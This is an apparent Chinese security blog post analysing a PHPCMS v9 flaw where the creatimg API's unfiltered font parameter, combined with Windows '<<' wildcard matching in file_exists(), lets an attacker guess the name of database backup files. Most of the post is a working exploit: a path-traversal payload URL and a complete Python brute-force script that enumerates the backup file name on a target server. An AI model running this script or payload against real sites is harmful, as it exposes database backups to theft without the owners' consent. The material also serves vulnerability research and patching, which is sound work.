参考文章:PHPCMSv9逻辑漏洞导致备份文件名可猜测
payload:/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/gv5dmx<<.sql
我们知道windows的FindFirstFile(API)有个特性就是可以把<<当成通配符来用而PHP的opendir(win32readdir.c)就使用了该API。PHP的文件操作函数均调用了opendir,所以file_exists也有此特性。
这个漏洞和前一阵子dedecms后台爆破如出一辙,api.php文件的$op
变量决定用户的操作
1 2 3 4 5 6 7 8 9 10 11
| <?php define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR); include PHPCMS_PATH.'phpcms/base.php'; ...... $op = isset($_GET['op']) && trim($_GET['op']) ? trim($_GET['op']) : exit('Operation can not be empty'); ...... if (!preg_match('/([^a-z_]+)/i',$op) && file_exists(PHPCMS_PATH.'api/'.$op.'.php')) { include PHPCMS_PATH.'api/'.$op.'.php'; ...... ?>
|
在/api/creatimg.php文件中,使用了file_exists()
函数判断$fontfile
文件是否存在,文件存在和不存在的返回信息是不同的,而且$fontfile
可以被用户控制,且未过滤.
和/
等符号,最终导致了漏洞发生。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php defined('IN_PHPCMS') or exit('No permission resources.'); $txt = trim($_GET['txt']); if(extension_loaded('gd') && $txt ) { ...... $fontfile = isset($_GET['font']) && !empty($_GET['font']) ? $fontpath.trim($_GET['font']) : $fontpath.'georgia.ttf'; ...... if(file_exists($fontfile)){ $image_info = imagettfbbox($fontsize,0,$fontfile,$txt); $imageX = $image_info[2]-$image_info[0]+10; $imageY = $image_info[1]-$image_info[7]+5; ......
|
爆破脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
|
'''/* * author = Mochazz * team = 红日安全团队 * env = pyton3 * */ ''' import requests import itertools characters = "abcdefghjklmnopqrstuvwxyz0123456789_!#" backup_sql = "" payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<" url = "http://192.168.0.106" flag = 0 for num in range(1,7): if flag: break for pre in itertools.permutations(characters,num): pre = ''.join(list(pre)) payload = payload.format(location=pre) r = requests.get(url+payload) if r.status_code == 200 and "PNG" in r.text: flag = 1 backup_sql = pre payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<" break else: payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<" print("[+] 前缀为:",backup_sql) flag = 0 for i in range(30): if flag: break for ch in characters: if ch == characters[-1]: flag = 1 break payload = payload.format(location=backup_sql+ch) r = requests.get(url + payload) if r.status_code == 200 and "PNG" in r.text: backup_sql += ch print("[+] ",backup_sql) payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<" break else: payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
print("备份sql文件地址为:",backup_sql+".sql")
|
效果如下:
后记:
在测试的过程中,由于本地php环境出现问题,导致复现一直没成功,最终重装环境解决问题。实际上,如果这个程序加以修改,理论上是可以利用这个漏洞遍历整个phpcms目录文件结构的,只要前缀重复的不多(例如get_file.php
和get_img.php
的重复前缀为get_
)。
相关文章: